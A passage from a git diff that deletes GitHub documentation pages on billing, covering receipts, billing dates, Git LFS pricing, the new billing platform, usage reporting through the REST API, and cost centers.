user account or organization to {% data variables.product.prodname_free_team %} to continue with the same advanced features in public repositories. For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/downgrading-your-accounts-plan). - -## Unlocking an organization's features due to a declined payment - -If your account's advanced features are locked due to a declined payment, you'll need to update your billing information to trigger a newly authorized charge. For more information, see [AUTOTITLE](/articles/adding-or-editing-a-payment-method). - -If the new billing information is approved, we will immediately charge you for the paid product you chose. The account will automatically unlock when a payment has been successfully processed. Payments may take up to 24 hours to process. diff --git a/content/billing/using-the-billing-platform/viewing-your-payment-history-and-receipts.md b/content/billing/using-the-billing-platform/viewing-your-payment-history-and-receipts.md deleted file mode 100644 index d25f2ba09138..000000000000 --- a/content/billing/using-the-billing-platform/viewing-your-payment-history-and-receipts.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Viewing your payment history and receipts -intro: You can view your account's payment history and download past receipts at any time. -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-payment-history-and-receipts - - /articles/downloading-receipts - - /articles/downloading-receipts-for-personal-accounts - - /articles/downloading-receipts-for-organizations - - /articles/viewing-your-payment-history-and-receipts - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts - - /billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Accounts - - Organizations - - Receipts - - User account -shortTitle: View history & receipts ---- - -{% data reusables.billing.enhanced-billing-platform-personal-accounts %} - -## Viewing receipts for your personal account - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans_payment %} -{% data reusables.dotcom_billing.view-payment-history-personal-account %} -{% data reusables.dotcom_billing.download_receipt %} - -## Viewing receipts for your organization - -{% data reusables.dotcom_billing.org-billing-perms %} - -{% data reusables.organizations.billing-settings %} -{% data reusables.dotcom_billing.view-payment-history %} -{% data reusables.dotcom_billing.download_receipt %} - -{% ifversion ghec %} - -## Viewing receipts for your enterprise account - -{% data reusables.enterprise-accounts.billing-perms %} - -> [!NOTE] -> You cannot view receipts if your enterprise account is invoiced. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. Click the "Payment information" tab. -{% data reusables.dotcom_billing.download_receipt %} - -{% endif %} diff --git a/content/billing/using-the-billing-platform/viewing-your-subscriptions-and-billing-date.md b/content/billing/using-the-billing-platform/viewing-your-subscriptions-and-billing-date.md deleted file mode 100644 index 3911c7349d42..000000000000 --- a/content/billing/using-the-billing-platform/viewing-your-subscriptions-and-billing-date.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Viewing your subscriptions and billing date -intro: 'You can view your account''s subscription, your other paid features and products, and your next billing date in your account''s billing settings.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date - - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-subscriptions-and-billing-date - - /articles/finding-your-next-billing-date - - /articles/finding-your-personal-account-s-next-billing-date - - /articles/finding-your-organization-s-next-billing-date - - /articles/viewing-your-plans-and-billing-date - - /articles/viewing-your-subscriptions-and-billing-date - - /billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Accounts - - Organizations - - User account -shortTitle: Subscriptions & billing date ---- - -{% data reusables.billing.enhanced-billing-platform-personal-accounts %} - -## Finding your personal account's next billing date - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -{% data reusables.dotcom_billing.next_billing_date_personal_account %} - -## Finding your organization's next billing date - -{% data reusables.dotcom_billing.org-billing-perms %} - -{% data reusables.organizations.billing-settings %} -{% data reusables.dotcom_billing.next_billing_date %} - -{% ifversion ghec %} - -## Finding your enterprise account's next billing date - -{% data reusables.enterprise-accounts.billing-perms %} - -> [!NOTE] -> You cannot view your next billing date if your enterprise account is invoiced. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. At the top of the page, under "Your latest bill", review when your next payment is due. -{% endif %} - -## Further reading - -* [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/about-billing-for-plans) diff --git a/content/billing/using-the-new-billing-platform/about-billing-for-git-large-file-storage.md b/content/billing/using-the-new-billing-platform/about-billing-for-git-large-file-storage.md deleted file mode 100644 index 029c9fb20c25..000000000000 --- a/content/billing/using-the-new-billing-platform/about-billing-for-git-large-file-storage.md +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: About billing for Git Large File Storage -intro: 'Learn about billing for {% data variables.large_files.product_name_long %} using the new billing platform.' -versions: - feature: enhanced-billing-platform -redirect_from: - - /billing/using-the-enhanced-billing-platform-for-enterprises/about-enhanced-billing-for-git-large-file-storage -type: overview -topics: - - Billing - - LFS - - Enterprise - - Team -shortTitle: About Git LFS billing -product: '{% data reusables.billing.enhanced-billing-platform-product %}' ---- - -## About billing for {% data variables.large_files.product_name_long %} - -> [!NOTE] {% data reusables.user-settings.context_switcher %} - -Each {% data variables.product.prodname_dotcom %} account receives a certain amount of free bandwidth and storage for {% data variables.large_files.product_name_short %}, depending on the account's plan. -Bandwidth is billed for each GiB of data downloaded. Storage is billed by calculating an hourly usage rate. To estimate costs for paid {% data variables.large_files.product_name_short %} usage, you can use the {% data variables.product.prodname_dotcom %} [pricing calculator](https://github.com/pricing/calculator?feature=lfs). - -{% data reusables.large_files.owner_quota_only %} - -## Included bandwidth and storage (per month) - -The following amounts of bandwidth and storage are included for free with your {% data variables.product.company_short %} account. - -|Plan | Bandwidth | Storage | -|------- | ------- | ---------| -| {% data variables.product.prodname_free_user %} | {% data variables.large_files.included_bandwidth_free_pro %} | {% data variables.large_files.included_storage_free_pro %} | -| {% data variables.product.prodname_pro %} | {% data variables.large_files.included_bandwidth_free_pro %} | {% data variables.large_files.included_storage_free_pro %} | -| {% data variables.product.prodname_free_team %} for organizations | {% data variables.large_files.included_bandwidth_free_pro %} | {% data variables.large_files.included_storage_free_pro %} | -| {% data variables.product.prodname_team %} | {% data variables.large_files.included_bandwidth_team_enterprise %} | {% data variables.large_files.included_storage_team_enterprise %} | -| {% data variables.product.prodname_ghe_cloud %} | {% data variables.large_files.included_bandwidth_team_enterprise %} | {% data variables.large_files.included_storage_team_enterprise %} | - -## Pricing for paid usage - -If you use more than the included amount of bandwidth or storage for your plan throughout the month, you can still use {% data variables.large_files.product_name_short %}. {% data variables.product.company_short %} bills for additional GiBs of data at the rates below. - -| Product | Price per-GiB (USD) | -| --------- | ------------------- | -| Bandwidth | $0.0875 | -| Storage | $0.07 | - -### Sample storage cost calculation - -For example, if you use 1 GiB above what is included for free for the first 15 days of April, then use 2 GiB starting from April 16th to the end of the month, your storage costs will be calculated in the following way. - -* 1 GiB × 15 days × 24 hours per day = 360 GiB-hours -* 2 GiB × 15 days × 24 hours per day = 720 GiB-hours -* 360 GiB-hours + 720 GiB-hours = 1080 GiB-hours -* 1080 GiB-hours / 720 hours in the month = 1.5 GiB-months - -In this example, {% data variables.product.company_short %} would bill for 1.5 GiB of storage for the month of April. - -## Managing your budget for {% data variables.large_files.product_name_long %} - -The default budget for paid usage is $0 for accounts that do not have a payment method on file. For accounts that do have a payment method on file, the default budget is unlimited. You can take steps to manage your {% data variables.large_files.product_name_short %} budget. See [AUTOTITLE](/billing/using-the-new-billing-platform/preventing-overspending). - -## Further reading - -* [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-git-large-file-storage) -* [AUTOTITLE](/repositories/working-with-files/managing-large-files/installing-git-large-file-storage) diff --git a/content/billing/using-the-new-billing-platform/about-the-billing-cycle.md b/content/billing/using-the-new-billing-platform/about-the-billing-cycle.md deleted file mode 100644 index 2d76284e8006..000000000000 --- a/content/billing/using-the-new-billing-platform/about-the-billing-cycle.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: About the billing cycle -intro: Learn about the billing cycle for the new billing platform. -versions: - feature: enhanced-billing-platform -redirect_from: - - /billing/using-the-enhanced-billing-platform-for-enterprises/about-the-billing-cycle -type: overview -topics: - - Enterprise - - Team -product: '{% data reusables.billing.enhanced-billing-platform-product %}' ---- - ->[!IMPORTANT] {% ifversion fpt %}If you signed up for a personal user account before February 13, 2025, this article does not apply to you. However, if you created a new personal account (on {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %}) after this date, the information in this article applies.{% elsif ghec %}If you have not migrated to the new billing platform, this article does not apply to you.{% endif %} -> -> To check if you are on the new billing platform, see [How do I know if I can access the new billing platform?](/billing/using-the-new-billing-platform/about-the-new-billing-platform-for-enterprises#how-do-i-know-if-i-can-access-the-enhanced-billing-platform). - -If your {% data variables.enterprise.enterprise_or_org %} {% ifversion fpt %}or personal account{% endif %} uses the new billing platform, you have a fixed billing period for metered usage which runs from the first day of the month to the last day of the month. When the month ends, the usage is scheduled to be billed on your bill cycle day. Your bill cycle day {% ifversion fpt %}is the day you created your organization. For example, if you created the account{% elsif ghec %}is dictated by the moment you converted from a trial to a paid enterprise account. For example, if you converted{% endif %} on the fifteenth of the month, you will be billed on the fifteenth of each subsequent month. - -This applies to all products available through the new billing platform. - -If you still use the previous billing platform, for more information about the billing cycle for your account, see [AUTOTITLE](/billing/using-the-billing-platform/changing-the-duration-of-your-billing-cycle). diff --git a/content/billing/using-the-new-billing-platform/about-the-new-billing-platform.md b/content/billing/using-the-new-billing-platform/about-the-new-billing-platform.md deleted file mode 100644 index af2cd061810e..000000000000 --- a/content/billing/using-the-new-billing-platform/about-the-new-billing-platform.md +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: About the new billing platform -intro: Learn about the billing platform's key functionalities, and how it can help you manage your spending more effectively. -versions: - feature: enhanced-billing-platform -redirect_from: - - /billing/using-the-enhanced-billing-platform-for-enterprises/about-the-enhanced-billing-platform-for-enterprises - - /billing/using-the-new-billing-platform/about-the-new-billing-platform-for-enterprises -type: overview -topics: - - Enterprise - - Team -product: '{% data reusables.billing.enhanced-billing-platform-product %}' -shortTitle: About the new billing platform ---- - -The new billing platform provides better spending control and detailed usage insights with granular controls. - -## Available products - -The products shown in the new billing platform are determined by your {% data variables.product.github %} plan and subscriptions. - -{% ifversion fpt %} - -### Personal accounts on {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %} - -* {% data variables.product.prodname_actions %} -* {% data variables.product.prodname_github_codespaces %} -* {% data variables.product.prodname_copilot %} -* {% data variables.product.prodname_registry %} -* {% data variables.large_files.product_name_long %} -* {% data variables.product.prodname_marketplace %} -* {% data variables.product.prodname_sponsors %} - -{% endif %} - -### Organizations on {% data variables.product.prodname_team %} or {% data variables.product.prodname_free_team %} - -* {% data variables.product.prodname_actions %} -* {% data variables.product.prodname_github_codespaces %} -* {% data variables.product.prodname_copilot %} -* {% data variables.product.prodname_registry %} -* {% data variables.large_files.product_name_long %} - -{% ifversion ghec %} - -### {% data variables.product.prodname_ghe_cloud %} - -* {% data variables.product.prodname_actions %} -* {% data variables.product.prodname_GH_advanced_security %} (only available with a trial of {% data variables.product.prodname_ghe_cloud %}) -* {% data variables.product.prodname_github_codespaces %} -* {% data variables.product.prodname_copilot %} -* {% data variables.product.prodname_enterprise %} -* {% data variables.product.prodname_registry %} -* {% data variables.large_files.product_name_long %} - -{% ifversion metered-ghe-ghas %} - -{% data reusables.billing.actions-usage-delay %} - -{% endif %} - -{% endif %} - -## Key functionalities - -With the new billing platform, you can: - -* **Estimate spending:** Understand where your (annual, monthly, etc.) spending is trending based on the usage across {% ifversion ghec %}cost centers and {% endif %}budgets. -* **Gather insights and data:** Generate usage reports to share with your team or stakeholders, and know if you're on track with your budget. -{%- ifversion ghec %} -* **Charge business units:** Improve accountability by creating and assigning organizations, repositories, and members to cost centers. -{%- endif %} -* **Prevent overspending:** Use budgets and alerts to track and control your spending. -* **Observe and understand spending:** Understand how your spending changes over time and across which products. - -## How do I know if I can access the new billing platform? - -{% data reusables.billing.enhanced-billing-platform-product %} - -{% data reusables.permissions.enhanced-billing-platform %} can check for access to the enhanced platform: - -{% ifversion fpt %} - -1. In the upper-right corner of any page on {% data variables.product.prodname_dotcom %}, select your profile photo. - - * For **personal accounts**, click **Settings**. - * For **organizations**, click **Your organizations**, then next to the organization, click **Settings**. - -{% elsif ghec %} - -{% data reusables.enterprise-accounts.access-enterprise %} - -{% endif %} - -If you have access, there will be a **{% octicon "credit-card" aria-hidden="true" %} Billing & Licensing** option in the sidebar. If you do **not** have access to the new billing platform, to find out more about your billing platform, see [AUTOTITLE](/billing/using-the-billing-platform/about-billing-on-github). - -## Next steps - -* To **get started with the new billing platform**, see [AUTOTITLE](/billing/using-the-new-billing-platform/getting-started-with-the-new-billing-platform). diff --git a/content/billing/using-the-new-billing-platform/about-usage-based-billing-for-licenses.md b/content/billing/using-the-new-billing-platform/about-usage-based-billing-for-licenses.md deleted file mode 100644 index 8a17eb56f430..000000000000 --- a/content/billing/using-the-new-billing-platform/about-usage-based-billing-for-licenses.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: About usage-based billing for licenses -intro: Learn about usage-based billing for your licenses with the new billing platform, whether you pay through {% data variables.product.company_short %} or Azure. -redirect_from: - - /early-access/billing/managing-usage-based-billing-for-github-licenses-through-github - - /early-access/billing/managing-usage-based-billing-for-github-licenses-through-azure - - /early-access/billing/managing-usage-based-billing-for-githubs-products-on-azure - - /early-access/billing/managing-billing-for-githubs-products-through-azure - - /early-access/billing/managing-usage-based-billing-for-github-licenses - - /billing/using-the-enhanced-billing-platform-for-enterprises/about-usage-based-billing-for-licenses -versions: - ghec: '*' - ghes: '>= 3.13' -type: overview -topics: - - Enterprise -permissions: 'Enterprise administrators' -product: '{% data reusables.billing.enhanced-billing-platform-product %}' -shortTitle: Usage-based billing for licenses ---- - -## About usage-based billing - -With the new billing platform, you pay monthly for the number of {% data variables.product.prodname_enterprise %} and {% data variables.product.prodname_GH_advanced_security %} licenses you use. You will not need to buy a predefined number of licenses in advance. Usage-based billing provides flexibility and cost savings compared to more traditional licensing models, such as volume or subscription models. - -{% data reusables.billing.license-type-overview %} -{% data reusables.billing.license-models %} - -{% data variables.visual_studio.prodname_vss_ghe %} is currently not supported for usage-based billing. - -## How are metered licenses measured? - -{% data reusables.billing.metered-license-measures %} - -## Which payment methods can I use? - -You can use the following payment methods for usage-based billing for licenses: - -* Invoiced and self-serve {% data variables.product.prodname_enterprise %} customers can pay using a **credit card** or **PayPal** -* Invoiced customers can also pay using **prepaid credits** (only available to customers who have a volume subscription with or without metered add-ons) -* You can connect an **Azure** subscription to your enterprise account -* For **purchase orders**, you can contact your account manager in {% data variables.contact.contact_enterprise_sales %} diff --git a/content/billing/using-the-new-billing-platform/automating-usage-reporting.md b/content/billing/using-the-new-billing-platform/automating-usage-reporting.md deleted file mode 100644 index 8cf3e4f82ab0..000000000000 --- a/content/billing/using-the-new-billing-platform/automating-usage-reporting.md +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: Automating usage reporting with the REST API -intro: Learn how to automate reporting on your use of paid features using the REST API. -allowTitleToDifferFromFilename: true -shortTitle: Automate usage reporting -versions: - ghec: '*' -type: how_to -topics: - - Enterprise - - Billing - - REST -permissions: 'Enterprise owners, organization owners, and billing managers' -product: '{% data reusables.billing.enhanced-billing-platform-product %}' ---- - -You can automatically pull data from {% data variables.product.github %} to populate the business systems you use to monitor costs and usage using the REST API. If you haven't used the {% data variables.product.github %} REST API before, the following articles are a good starting point, see [AUTOTITLE](/rest/using-the-rest-api). - -## Using the billing platform `/usage` endpoint to retrieve metered usage details for an enterprise or organization - -The new billing platform provides REST API `/usage` endpoints that you can use to report on the use of all metered products in an enterprise or an organization. The usage data provided by the enterprise endpoint is available to enterprise owners and enterprise billing managers, and the data provided by the organization endpoint is available to organization owners within an enterprise and organization owners within an organization account. You will need to authenticate with {% data variables.product.github %}. - -* If you use the GitHub CLI, use the `gh auth login` command to authenticate. -* Otherwise, you will need to create a {% data variables.product.pat_v1 %}, see [Creating a {% data variables.product.pat_v1 %}](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-personal-access-token-classic). - -When you call a `/usage` endpoint, you must specify the enterprise or organization that you want data for and, by default, usage for the current year that does not belong to a cost center is reported. You can reduce the scope of data returned by the endpoint using query parameters. - -* Define a specific time period by setting one or more of the following parameters: `year`, `month`, `day`, and `hour`. -* Define a cost center to report on by identifier using the `cost_center_id` query parameter. This query parameter is only available for the enterprise-level endpoint. - -For more detailed information and an example call and response, see [Get billing usage report for an enterprise](/rest/enterprise-admin/billing?apiVersion=2022-11-28#get-billing-usage-report-for-an-enterprise) or [Get billing usage report for an organization](/rest/billing/enhanced-billing?apiVersion=2022-11-28#get-billing-usage-report-for-an-organization) . - -<!-- expires 2025-07-01 --> -## Migrating from the endpoints used for the previous billing platform - -The previous billing platform provided three different endpoints for usage data: - -* [Get GitHub Actions billing for an enterprise](/rest/enterprise-admin/billing?apiVersion=2022-11-28#get-github-actions-billing-for-an-enterprise) -* [Get GitHub Packages billing for an enterprise](/rest/enterprise-admin/billing?apiVersion=2022-11-28#get-github-packages-billing-for-an-enterprise) -* [Get shared storage billing for an enterprise](/rest/enterprise-admin/billing?apiVersion=2022-11-28#get-shared-storage-billing-for-an-enterprise) - -When you transition to the new billing platform, these endpoints will no longer return accurate usage information. You should upgrade any automation that uses these endpoints to use the new endpoint [GET /enterprises/{enterprise}/settings/billing/usage](/rest/enterprise-admin/billing?apiVersion=2022-11-28#get-billing-usage-report-for-an-enterprise). The tables below provide a detailed explanation how to use the billing platform to retrieve equivalent information. - -### Changes in call definition - -If you used a {% data variables.product.pat_v2 %} to authenticate with the previous endpoints, you will need create a {% data variables.product.pat_v1 %} to authenticate with the new endpoint. - -In addition, you may want to use the new query parameters to specify a time period or cost center. - -### Getting GitHub Actions billing data from the new response data - -Example of the previous response - -```json -{"total_minutes_used": 305, "total_paid_minutes_used": 0, "included_minutes": 3000, "minutes_used_breakdown": { "UBUNTU": 205, "MACOS": 10, "WINDOWS": 90 } } -``` - -Example of the new response - -```json -{ "usageItems": [ { "date": "2023-08-01", "product": "Actions", "sku": "Actions Linux", "quantity": 100, "unitType": "minutes", "pricePerUnit": 0.008, "grossAmount": 0.8, "discountAmount": 0, "netAmount": 0.8, "organizationName": "GitHub", "repositoryName": "github/example"} ] } -``` - -To get the same values from the new response data: - -{% rowheaders %} - -| Previous property | Calculate from new API response | -|------ |----------- | -| `total_minutes_used` | <ul><li>Filter results by `"product": "Actions"` and `"unitType": "minutes"`</li><li>Sum `quantity`</li></ul>| -| `total_paid_minutes_used`| This is now represented as a $ amount via `netAmount`.<ul><li>Filter results by `"product": "Actions"` and `"unitType": "minutes"`</li><li>Sum `netAmount`</li></ul>| -| `included_minutes` | This is now represented as a $ amount via `discountAmount`.<ul><li>Filter results by `"product": "Actions"` and `"unitType": "minutes"`</li><li>Sum `discountAmount`</li></ul>| -| `minutes_used_breakdown` | <ul><li>Filter results by `"product": "Actions"` and `"unitType": "minutes"`</li><li>Sum `quantity` grouped by `sku`</li></ul>| - -{% endrowheaders %} - -### Getting GitHub Packages billing data from the new response data - -Example of the previous response - -```json -{ "total_gigabytes_bandwidth_used": 50, "total_paid_gigabytes_bandwidth_used": 40, "included_gigabytes_bandwidth": 10 } -``` - -Example of the new response - -```json -{ "usageItems": [ { "date": "2023-08-01", "product": "Packages", "sku": "Packages data transfer", "quantity": 100, "unitType": "gigabytes", "pricePerUnit": 0.008, "grossAmount": 0.8, "discountAmount": 0, "netAmount": 0.8, "organizationName": "GitHub", "repositoryName": "github/example" } ] } -``` - -{% rowheaders %} - -| Previous property | Calculate from new API response | -|------ |----------- | -| `total_gigabytes_bandwidth_used` | <ul><li>Filter results by `"product": "Packages"` and `"unitType": "gigabytes"` </li><li>Sum `quantity`</li></ul> | -| `total_paid_gigabytes_bandwidth_used`| This is now represented as a $ amount via `netAmount`. <ul><li>Filter results by `"product": "Packages"` and `"unitType": "gigabytes"`</li><li>Sum `netAmount`</li></ul> | -| `included_gigabytes_bandwidth` | This is now represented as a $ amount via `discountAmount`.<ul><li>Filter results by `"product": "Packages"` and `"unitType": "gigabytes"`</li><li>Sum `discountAmount`</li></ul> | - -{% endrowheaders %} - -### Getting shared storage billing from the new response data - -Example of the previous response - -```json -{ "days_left_in_billing_cycle": 20, "estimated_paid_storage_for_month": 15, "estimated_storage_for_month": 40 } -``` - -Example of the new response - -```json -{ "usageItems": [ { "date": "2023-08-01", "product": "Packages", "sku": "Packages storage", "quantity": 100, "unitType": "GigabyteHours", "pricePerUnit": 0.008, "grossAmount": 0.8, "discountAmount": 0, "netAmount": 0.8, "organizationName": "GitHub", "repositoryName": "github/example" } ] } -``` - -{% rowheaders %} - -| Previous property | Calculate from new API response | -|------ |----------- | -| `days_left_in_billing_cycle` | Not available. This information can be inferred by subtracting the current day of the month from the number of days in the current month. | -| `estimated_paid_storage_for_month`| This is now represented as a $ amount via `netAmount`. <br><br> Prerequisite: pass the `month` and `year` query parameters. <br><br> <i> For Actions storage </i> <ul><li> Filter results by `"product": "Actions"` and `"unitType": "GigabyteHours"`</li><li> Sum `netAmount`</li></ul> <i> For Packages storage </i> <ul><li> Filter results by `"product": "Packages"` and `"unitType": "GigabyteHours"`</li><li> Sum `netAmount`</li></ul>| -| `estimated_storage_for_month` | Prerequisite: pass the `month` and `year` query parameters. <br><br> <i> For Actions storage </i> <ul><li> Filter results by `"product": "Actions"` and `"unitType": "GigabyteHours"`</li><li> Sum `quantity`</li></ul> <i> For Packages storage </i> <ul><li> Filter results by `"product": "Packages"` and `"unitType": "GigabyteHours"`</li><li> Sum `quantity`</li></ul>| - -{% endrowheaders %} - -<!-- end expires 2025-07-01 --> diff --git a/content/billing/using-the-new-billing-platform/charging-business-units.md b/content/billing/using-the-new-billing-platform/charging-business-units.md deleted file mode 100644 index d76162766467..000000000000 --- a/content/billing/using-the-new-billing-platform/charging-business-units.md +++ /dev/null @@ -1,172 +0,0 @@ ---- -title: Charging business units -intro: 'Learn how to create and use cost centers to manage business units at scale.' -versions: - ghec: '*' -redirect_from: - - /billing/using-the-enhanced-billing-platform-for-enterprises/charging-business-units -type: how_to -topics: - - Enterprise -product: '{% data reusables.billing.enhanced-billing-platform-product %}' -shortTitle: Charge business units ---- - -To drive accountability and control costs, the new billing platform lets you create cost centers. A cost center manages expenses without generating revenue. You can create cost centers and assign users, organizations, and repositories to them, and set budgets. This enhances spending control and resource allocation. - -If your account is billed to Azure, you will have the option to add an Azure subscription ID. Cost centers allows for multiple Azure subscription IDs so that different business units, within an enterprise, can directly pay for their usage. - -## Creating a cost center - -Create cost centers to monitor and manage expenses for specific organizations or repositories. Multiple organizations, repositories, and users can be assigned to one cost center. - -When you create a cost center, you can add **organizations** or **repositories**—which track spending for usage-based products like {% data variables.product.prodname_actions %}—via the user interface. To track spending for license-based products like {% data variables.product.prodname_copilot %}, you will need to add **users** to the cost center via the API after the cost center has been created. For guidance by product, see [Allocating spending to a cost center](#allocating-spending-to-a-cost-center). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.billing.enterprise-billing-menu %} -1. Click **Cost centers**. -1. Click **New cost center** in the upper-right corner. -1. In the text box under "Name", enter a name for your cost center. -1. If your account is billed to Azure, you have the option to add an Azure ID. Your credentials will be verified against Azure to ensure the Azure IDs associated to your account are available. -1. If the cost center will track spending for usage-based products like {% data variables.product.prodname_actions %}, under "Resources", select the organizations and/or repositories that will be a part of the cost center. - - >[!NOTE] An organization or repository can only be assigned to one cost center at a time. - -1. Click **Create cost center**. - -## Allocating spending to a cost center - -To allocate spending to a cost center, you add repositories, organizations, or users to the cost center. Any usage that is not assigned to a specific cost center is categorized as "Enterprise Only" spending on your enterprise's "Usage" page. - -* For **usage-based** products like {% data variables.product.prodname_actions %}, cost centers are charged based on the repositories or organizations that you add. You can add these to a cost center in the UI. See [Creating a cost center](#creating-a-cost-center). -* For **license-based** products like {% data variables.product.prodname_copilot %}, cost centers are charged based on the users that you add. - * You must add users to a cost center with the API. See [AUTOTITLE](/rest/enterprise-admin/billing#add-users-to-a-cost-center). Note that the API currently supports adding or removing up to **50** resources in a single operation. - * If a licensed user isn't assigned to cost center, costs either default to "Enterprise Only" spending or are assigned to a cost center based on the user's organization membership. This depends on the product. For a detailed explanation, see [Cost center allocation for license-based products](#cost-center-allocation-for-license-based-products). - -### Breakdown by product - -| Product | A cost center is charged if it contains this resource | -| ------- | ----------------------------------------------------- | -| {% data variables.product.prodname_actions %} | The repository or organization where the workflow runs. | -| {% data variables.product.prodname_github_codespaces %} | The repository or organization where the codespace is created. | -| {% data variables.product.prodname_copilot %} | The user who receives the license (priority), or the organization where they are a member. | -| Git Large File Storage | The repository or organization where Git LFS is used. | -| {% data variables.product.prodname_GH_advanced_security %} | The user who receives the license. | -| {% data variables.product.prodname_enterprise %} | The user who receives the license. | -| {% data variables.product.prodname_registry %} | The repository or organization that owns the package. | - -## Adding a budget to a cost center - -After you create a cost center, you can add a monthly budget and receive alerts from the cost center to monitor your spending and usage. See [AUTOTITLE](/billing/using-the-enhanced-billing-platform-for-enterprises/preventing-overspending). - -## Viewing cost center usage - -You can view the usage of your cost centers and download the usage data for further analysis. See [AUTOTITLE](/billing/using-the-enhanced-billing-platform-for-enterprises/gathering-insights-on-your-spending). - -## Viewing, editing, and deleting cost centers - -You can view, edit, and delete cost centers to manage your business units effectively. - -To add or remove members from a cost center, you can use the API. See [AUTOTITLE](/rest/enterprise-admin/billing). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.billing.enterprise-billing-menu %} -1. Click **Cost centers**. -1. Select {% octicon "kebab-horizontal" aria-label="Cost center dropdown" %} to the right of a cost center, then click **View details**, **Edit**, or **Delete**. -1. Follow the prompts. - -### Effects of removing a member from a cost center - -If you add a member to a cost center, any usage accrued (for example, a {% ifversion enterprise-licensing-language %}license{% else %}seat{% endif %}) will immediately start being billed against the cost center. If you remove a member from a cost center, any usage from that point will be billed against the enterprise. For example: - -* On May 1st, an enterprise has three {% data variables.product.prodname_copilot_short %} users. The charges for all three users ($39 each) are billed to the enterprise. -* On May 10th, you create two cost centers: Cost Center 1 and Cost Center 2. User A and User B are assigned to Cost Center 1, and User C to Cost Center 2. Future charges for Users A and B go to Cost Center 1, and for User C to Cost Center 2. -* On May 20th, you remove User A from Cost Center 1. From then on, User A's charges are billed to the enterprise, while User B's charges remain with Cost Center 1, and User C's charges with Cost Center 2. - -The "{% data variables.product.prodname_copilot_short %} Seats Used" tile on the "Overview" page will show fractional usage instead of whole numbers. - -### Effects of deleting a cost center - -If a cost center is deleted, future usage of its resources will be charged to the enterprise. Usage before deletion is billed to the cost center until the end of the billing cycle. - -You can still view the cost center even after you delete it. To do so, select the "Deleted" tab on the cost center page. - -## Cost center allocation for license-based products - -To ensure your cost centers reflect spending as intended, it's important to understand how spending is allocated to cost centers for license-based products like {% data variables.product.prodname_copilot %}, and how changes are reflected in your bill. - -### Cost center allocation for {% data variables.product.prodname_copilot %} - -* If a user belongs to a cost center, all charges associated with the user are billed to the cost center. -* If a user does not belong to any cost center, usage is billed to the organization where the user receives their {% data variables.product.prodname_copilot_short %} license. If _that organization_ is part of a cost center, the charges are billed to that cost center. -* If the user receives access to {% data variables.product.prodname_copilot_short %} through **multiple organizations**, one of the organizations is chosen at random each month to be billed, and the cost center that contains the organization is charged accordingly. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-the-copilot-subscription-for-your-enterprise/about-billing-for-github-copilot-in-your-enterprise#about-seat-assignment-for-copilot-in-your-enterprise), - -### Cost center allocation for {% data variables.product.prodname_GH_advanced_security %} - -* If a user belongs to a cost center, all charges associated with the user are billed to the cost center. -* If a user does not belong to any cost center, usage is charged to the enterprise's default payment method and grouped under "Enterprise Only" spending on the usage page. - -### Cost center allocation for {% data variables.product.prodname_enterprise %} - -* If a user belongs to a cost center, all charges associated with that user are billed to the cost center. -* If a user does not belong to any cost center, usage is billed to the enterprise's default payment method and grouped under "Enterprise Only" spending on the usage page. - -### How changes are reflected in cost centers - -Adding or removing users from a cost center affects billing for license-based products in different ways. - -* For {% data variables.product.prodname_copilot %}: A change to add or remove a user from a cost center is reflected the **next day**. -* For {% data variables.product.prodname_GH_advanced_security %}: A change to add or remove a user from a cost center is reflected in the **next billing cycle**. -* For {% data variables.product.prodname_enterprise %}: A change to add or remove a user from a cost center is reflected the **next day**. - -If a user is already part of a cost center and _then_ receives a license, the license is immediately billed to the cost center. - -If a user who already has a license is added to a cost center, the license will be billed to the cost center from the next billing cycle. - -## Example for license-based products - -The following example illustrates how usage is assigned to cost centers for license-based products. Based on four licensed users, their organization membership, and how cost centers are set up, you will see how usage is allocated to cost centers. - -### The users - -There are four users, each a member of one or more organizations in the enterprise. - -| User | Organization membership | -| ---- | ----------------------- | -| `user-1` | `org-1`, `org-2` | -| `user-2` | `org-1` | -| `user-3` | `org-1` | -| `user-4` | `org-1`, `org-2` | - -All users have a license for **{% data variables.product.prodname_copilot %}** and **{% data variables.product.prodname_enterprise %}** (GHE). - -**{% data variables.product.prodname_GH_advanced_security %}** (GHAS) is enabled in `org-1`, where all users are active committers. - -### The cost centers - -There are two cost centers in the enterprise, each with different users or organizations assigned. - -| Cost center | Assigned resources | -| ---- | ----------------------- | -| Cost Center A | `user-1`, `user-3` | -| Cost Center B | `org-1` | - -`user-2`, `user-4`, and `org-2` are **not** assigned to any cost center. - -### How usage is allocated - -The following table illustrates how spending for each user is allocated to a cost center based on their membership of an organization or cost center. Any usage not assigned to a cost center is categorized as "Enterprise Only" spending. - 